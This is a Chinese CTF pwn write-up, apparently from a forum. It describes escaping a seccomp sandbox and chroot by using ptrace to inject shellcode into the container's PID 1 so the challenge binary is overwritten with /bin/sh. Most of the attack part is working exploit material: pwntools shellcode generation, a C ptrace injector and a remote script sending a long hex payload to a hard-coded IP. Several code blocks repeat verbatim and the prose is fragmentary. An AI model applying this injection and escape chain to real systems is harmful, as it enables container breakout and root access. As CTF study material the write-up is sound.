ptrace向entry point进程注入shellcode,替换power的文件为sh,2起遍历pid杀掉sleep让sh执行shellcode,再次连接题目就能拿到shell。
开沙箱之后读0x1000个字节的shellcode,然后直接call过去
call之前不动任何寄存器,可以说非常友好了

dump一下沙箱的规则:

只允许read, wait4, ptrace
目标是读flag,但程序自身现在不能open和write,也不能fork一个进程出来
ptrace很强大,可以杀进程也可以读写进程内存和寄存器。
如果我们的shellcode太长,可以考虑用read二次延申。
题目开了ptrace,在运行容器的时候也给了docker强大的 CAP_SYS_PTRACE 权限,此时:
但是本题目环境不存在这两个问题
(后记中还讨论了用prtace在另一种特定情况下竞争绕过seccomp的可能)
注意本题的power虽然在chroot环境中,但还是作为root运行的,理论可以trace容器内的任意进程。那我们可以随意trace一个其他不受seccomp限制的进程,然后向其注入shellcode就可以摆脱seccomp和chroot了。
这里的shellcode就很自由了,可以是:
将power替换为sh,再次连接时候执行的power就会直接生成shell,注意在shellcode结尾加上循环,不然entrypoint执行结束容器就会退出,环境销毁。
容器中的进程有:
自己不能ptrace自己,xinted可以留给后续连接用,那就可以有以下思路:
生成第二段shellcode(注入sh执行的shellcode):
生成第一段shellcode(发给程序的):
然后编译一下:
gcc pwn.c --static -nostdlib -o pwn
直接dump生成二进制的text段即可,最后加上jmp到main的两字节就是最终exp了
这种解法10分钟内会有被蹭车的可能,而且因为拿到了无限制的容器内最高权限,打通之后可以删改flag也可以抓别人流量()不知道是不是预期解
版主回复说在预期内,可以打通之后删flag防蹭车
然而远程环境其实是出网的,拿到本地shell之后显然有更优雅的做法QAQ
因为某些原因手写了长度和字符集受限的计算md5的shellcode之后就再也不想手写shellcode了,好在这题对shellcode本身没什么限制,可以自动生成,非常友好:
已知ptrace可以做的三件好事:
此外,非root用户在ptrace_scope=0时,也有机会逃逸seccomp (来自@cnitlrt和v3rdant.cn)
root用户可以随意trace其他进程,而非root用户只能trace自己的子进程。
然而,如果/proc/sys/kernel/yama/ptrace_scope设置为0,非root用户就能trace本用户的所有进程。
题目环境中pid比较稳定,几乎可以假设下一个次连接时的pid一定是本次连接+1,那么我们可以:
虽然有失败的可能,如果能在第二次连接启动的power进程执行prctl调用前附加上,我们就可以:
然而,docker中的/proc/sys/kernel/yama/ptrace_scope随宿主机的设置,在题目环境中,该值为1。所以如果本题的power不是以root运行的,该方法也不能用来解决本题。
作者刚学Linux的小菜鸡一枚,感谢师傅们读到这里,文中如有谬误还请评论指正
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
'/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.execve('/bin/sh', ['/bin/sh', '-c',
'/bin/cp /bin/sh /home/sectest/power; sleep infinity'], 0) + '\njmp $+0')
print(', '.join([hex(u64(sc[i:i+8].ljust(8, b'\x90'))) for i in range(0, len(sc), 8)]))
int main() {
pid_t sleep_pid = 2;
struct user_regs_struct regs;
struct rusage usage;
int status;
unsigned long long data[] = { // 刚刚生成的shellcode
0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
};
syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
sleep_pid++;
}
syscall(SYS_wait4, 1, &status, 0, &usage);
syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, ®s);
for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
}
syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
return 0;
}
int main() {
pid_t sleep_pid = 2;
struct user_regs_struct regs;
struct rusage usage;
int status;
unsigned long long data[] = { // 刚刚生成的shellcode
0x10101010101b848, 0x68632eb848500101, 0x431480169722e6f, 0x101b848e7894824, 0x4850010101010101, 0x17875686f6867b8, 0x73b8482404314801, 0x506e69207065656c, 0x7265776f702fb848, 0x65732fb84850203b, 0xb848507473657463, 0x656d6f682f206873, 0x622f207063b84850, 0x101b848502f6e69, 0x4850010101010101, 0x6f68632e01622cb8, 0x1b848240431482e, 0x5001010101010101, 0x722e6f68632eb848, 0xf631240431480169, 0x56e601485e136a56, 0x6a56e601485e186a, 0x894856e601485e18, 0x50f583b6ad231e6, 0x909090909090feeb
};
syscall(SYS_ptrace, PTRACE_ATTACH, 1, NULL, NULL);
while (syscall(SYS_ptrace, PTRACE_ATTACH, sleep_pid, NULL, NULL)){
sleep_pid++;
}
syscall(SYS_wait4, 1, &status, 0, &usage);
syscall(SYS_ptrace, PTRACE_GETREGS, 1, NULL, ®s);
for (int i = 0; i < sizeof(data) / sizeof(data[0]); i++) {
syscall(SYS_ptrace, PTRACE_POKEDATA, 1, (void *)(regs.rip + i * sizeof(unsigned long long)), (void *)data[i]);
}
syscall(SYS_ptrace, PTRACE_CONT, sleep_pid, NULL, (void *)SIGALRM);
syscall(SYS_ptrace, PTRACE_DETACH, sleep_pid, NULL, NULL);
syscall(SYS_ptrace, PTRACE_DETACH, 1, NULL, NULL);
return 0;
}
from pwn import *
context.arch = 'amd64'
p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))
p.close()
p = remote("47.101.191.23", 9999)
p.sendline(b'cat flag')
p.interactive()
from pwn import *
context.arch = 'amd64'
p = remote("47.101.191.23", 9999)
p.send(bytes.fromhex('eb44') + bytes.fromhex('554889E548897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E8488B7DE0488B75D8488B55D04C8B55C84C8B45C04C8B4D100F05488945F8488B45F85DC3F30F1EFA554889E54881EC40020000C745FC0200000048B848B8010101010101488985C0FDFFFF48B801015048B82E6368488985C8FDFFFF48B86F2E726901483104488985D0FDFFFF48B8244889E748B80101488985D8FDFFFF48B80101010101015048488985E0FDFFFF48BEB867686F687578014889B5E8FDFFFF48BF014831042448B8734889BDF0FDFFFF48B96C65657020696E5048898DF8FDFFFF48BE48B82F706F7765724889B500FEFFFF48BF3B205048B82F73654889BD08FEFFFF48BA63746573745048B848899510FEFFFF48B97368202F686F6D6548898D18FEFFFF48BE5048B86370202F624889B520FEFFFF48BF696E2F5048B801014889BD28FEFFFF48898530FEFFFF48B8B82C62012E63686F48898538FEFFFF48B82E4831042448B80148898540FEFFFF48B8010101010101015048898548FEFFFF48B848B82E63686F2E7248898550FEFFFF48B869014831042431F648898558FEFFFF48B8566A135E4801E65648898560FEFFFF48B86A185E4801E6566A48898568FEFFFF48B8185E4801E656488948898570FEFFFF48B8E631D26A3B580F0548898578FEFFFF48B8EBFE90909090909048898580FEFFFF6A0041B90000000041B800000000B900000000BA01000000BE10000000BF65000000E8E0FDFFFF4883C408EB048345FC018B45FC48986A0041B90000000041B800000000B9000000004889C2BE10000000BF65000000E8ACFDFFFF4883C4084885C075C9488D9590FEFFFF488D858CFEFFFF6A0041B9000000004989D0B9000000004889C2BE01000000BF3D000000E873FDFFFF4883C408488D8520FFFFFF6A0041B9000000004989C0B900000000BA01000000BE0C000000BF65000000E844FDFFFF4883C408C745F800000000EB4A8B45F84898488B84C5C0FDFFFF4889C1488B55A08B45F8489848C1E0034801D06A0041B9000000004989C84889C1BA01000000BE05000000BF65000000E8F5FCFFFF4883C4088345F8018B45F883F81876AE8B45FC48986A0041B90000000041B80E000000B9000000004889C2BE07000000BF65000000E8BBFCFFFF4883C4088B45FC48986A0041B90000000041B800000000B9000000004889C2BE11000000BF65000000E88DFCFFFF4883C4086A0041B90000000041B800000000B900000000BA01000000BE11000000BF65000000E862FCFFFF4883C408B800000000C9C3'))
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2024-9-2 14:54
被只管出不管做编辑
,原因: 更改标题